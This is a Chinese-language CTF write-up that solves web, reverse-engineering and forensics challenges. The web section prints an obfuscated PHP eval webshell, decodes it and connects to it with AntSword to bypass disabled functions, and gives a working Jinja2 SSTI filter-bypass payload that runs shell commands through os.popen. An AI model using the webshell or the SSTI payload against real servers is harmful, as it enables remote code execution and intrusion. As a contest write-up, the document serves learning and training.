Web

hello_web

查看页面源码,如下所示

image-20241216215212388

发现两个提示的php文件,我们尝试访问hackme.php

image-20241216215227542

发现不是这样利用的,tips.php也读不到,我们尝试换一种路径穿越的读法,经过搜索可以知道我们可以用.和/进行组合进行路径穿越,最后在fuzz测试下,我们发现….//组合可以读到文件源码,如下所示

image-20241216215256719

利用相同的方式,我们可以去读tips.php,如下所示

image-20241216215309423

是一个phpinfo文件,我们可以看到禁用了一些函数,但是可以先不管,我们去分析一下这个hackme.php,如下所示

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

根据php函数逻辑,我们可以很容易知道这几个混淆变量是什么

$OxirhK = strtr;
$YpAUWC = substr;
$rVkKjU = 52;
$YwzIst = base64_decode;

eval($YwzIst("$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));"));

最后我们可以知道这个eval语句的内容

?><?php @eval($POST['cmd_66.99']);?>

其实是一个一句话木马,密码为cmd66.99,但这里值得注意的是,由于php会自动将[转变为,所以我们的真正的密码是cmd[66.99,我们直接用蚁剑连接即可

image-20241216215327978

可以发现能连接上

image-20241216215340201

但是我们可以发现找不到flag,我们尝试执行命令,但是被禁止了

image-20241216215352642

这里我们使用蚁剑自带的插件disable_function绕过即可

image-20241216215411924

image-20241216215430886

我们直接读取flag即可

safe_proxy

image-20241217161924688

重点在这,我们一看到使用了flask框架,首先肯定是要验证是否存在ssti漏洞了,我们可以看到这里过滤了很多ssti有关的函数,更进一步验证了我们的猜想,我们使用最常见的措施payload,如下所示

image-20241217161942941

我们尝试如下构造payload

code={%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ax='so'[::-1]%}{{cycler.next[gl][bu][im](ax)['p''open']('cat /flag > app.py').read()}}

这里解释一下,通过设置拼接符绕过对的过滤,我们通过拼接形成globals以及builtins以及import__,最后我们拼接一个popen去读取我们的flag,我们先在firefox中试试这个payload

image-20241217162002783

一开始执行的时候我们会出现ok,但是我们刷新几次,或者将浏览器倒退,就可以发现flag,发现的很巧合,原本以为这样构造payload不行

Reverse

ezCsky

直接ida打开,不管他能不能反编译,可以发现符号表里存在和rc4相关的函数名,找到了密钥testkey和密文解密即可,解密完还需要从后往前异或后一位,最后一位已知是”}”

def KSA(key):
""" Key-Scheduling Algorithm (KSA) 密钥调度算法"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S


def PRGA(S):
""" Pseudo-Random Generation Algorithm (PRGA) 伪随机数生成算法"""
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K


def RC4(key, text):
""" RC4 encryption/decryption """
S = KSA(key)
keystream = PRGA(S)
res = []
i = 0
for char in text:
res.append(char ^ next(keystream))
i += 1
return bytes(res)


if __name__ == "__main__":
key = b"testkey"
text = [0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64, 0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8, 0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06, 0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40, 0xED, 0xD1]
# for i in range(256):
result = RC4(key, text)
print(list(result))
result = list(result)
result[-1] = ord("}")
for i in range(len(result)-2, -1, -1):
result[i] ^= result[i+1]
print("".join(map(chr, result)))

dump

题目里找到输入为命令行后第一个参数,测试发现用了换表,大写字母减去63,小写字母减去67,数字只有1、2可以直接替换,还有等号、花括号也可以直接找对应,需要注意0、3-9直接换为0,因此需要爆破

s = [0x23, 0x29, 0x1E, 0x24, 0x38, 0x0E, 0x15, 0x20, 0x37, 0x0E, 0x05, 0x20, 0x00, 0x0E, 0x37, 0x12, 0x1D, 0x0F, 0x24, 0x01, 0x01, 0x39]
print(len(s))
xor = [69, 69, 127, 67, 67, 68]
for i in range(len(s)):
if s[i] == 1:
s[i] = ord("=")
continue
if s[i] == 0x38:
s[i] = ord("{")
continue
if s[i] == 0x39:
s[i] = ord("}")
continue
if s[i] == 0x1c:
s[i] = ord("1")
continue
if s[i] == 0x1d:
s[i] = ord("2")
continue
if s[i] + 67 in list(range(97, 123)):
s[i] += 67
elif s[i] + 63 in list(range(65, 91)):
s[i] += 63
from base64 import b64decode
for i in ["0", "3", "4", "5", "6", "7", "8", "9"]:
s[12] = ord(i)
print("".join(map(chr, s)))
print(b64decode("".join(map(chr, s[5:-1])).encode()))

最后测试的是前四个里,记不清交的哪个了以及交的是base4解密前的还是后的了,一个个试即可

22
flag{MTczMDc0MzQ2Ng==}
b'1730743466'
flag{MTczMDc3MzQ2Ng==}
b'1730773466'
flag{MTczMDc4MzQ2Ng==}
b'1730783466'
flag{MTczMDc5MzQ2Ng==}
b'1730793466'
flag{MTczMDc6MzQ2Ng==}
b'17307:3466'
flag{MTczMDc7MzQ2Ng==}
b'17307;3466'
flag{MTczMDc8MzQ2Ng==}
b'17307<3466'
flag{MTczMDc9MzQ2Ng==}
b'17307=3466'

威胁检测与网络流量分析

zero_shell1

打开流量包,定位到http流量

image-20241216215521821

我们追踪http流

image-20241216215531712

解密得到flag

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zero_shell2

我们用同样的payload,使用burp进行任意命令执行,我们首先执行ls /命令,这里需要url编码

image-20241216215545509

之后一个个查看,发现flag在Database下

直接读取即可

image-20241216215555710

image-20241216215616295

zero_shell3

第三问需要寻找外联域名,我们直接通过netstat命令进行查询当前端口活动情况

image-20241216215707428

复制下来放到文档里分析,如下所示

image-20241216215653649

在这里可以看到一个很奇怪的外联地址,交一下,发现是对的,这个ip地址就是flag

zero_shell4

我们在第二问的路径下执行列出隐藏文件,如下所示

image-20241216215724515

我们可以发现有一个叫.nginx的隐藏文件,我们猜测这个就是我们要找的隐藏文件,直接提交,发现正确

zero_shell5

我们首先使用hexdump读取隐藏文件内容,如下所示

image-20241216215738832

复制出来删除序号,然后我们发现文件内容被翻转了,我们需要两位为一组,相邻两组进行互换,我们使用cyberchef进行操作,最后将字节流导出为可执行文件

image-20241216215750391

最后我们用ida分析该可执行文件,我们在字符串中找到关键字符串

image-20241216215802406

所以flag为flag{11223344qweasdzxc}

zero_shell6

全局搜索有关startup的文件夹,我们执行find / -type d -name "*startup*"

image-20241216215813088

我们一个个去查看一下,最终找到启动文件的完整路径

image-20241216215832014

flag{/var/register/system/startup/scripts/nat/File}

WinFT_1

靶机开启之后启动cports.exe,我们等一会就能发现恶意外联地址

image-20241216215855294

所以flag是flag{``miscsecure.com``:192.168.116.130:443}

WinFT_2

需要寻找启动项中的东西,我们直接启动启动项,如下所示

image-20241216215912377

有一个很明显的flag

f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=

base64解码

image-20241216215925222

最后Unicode解码,如下所示

flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

拿到本题flag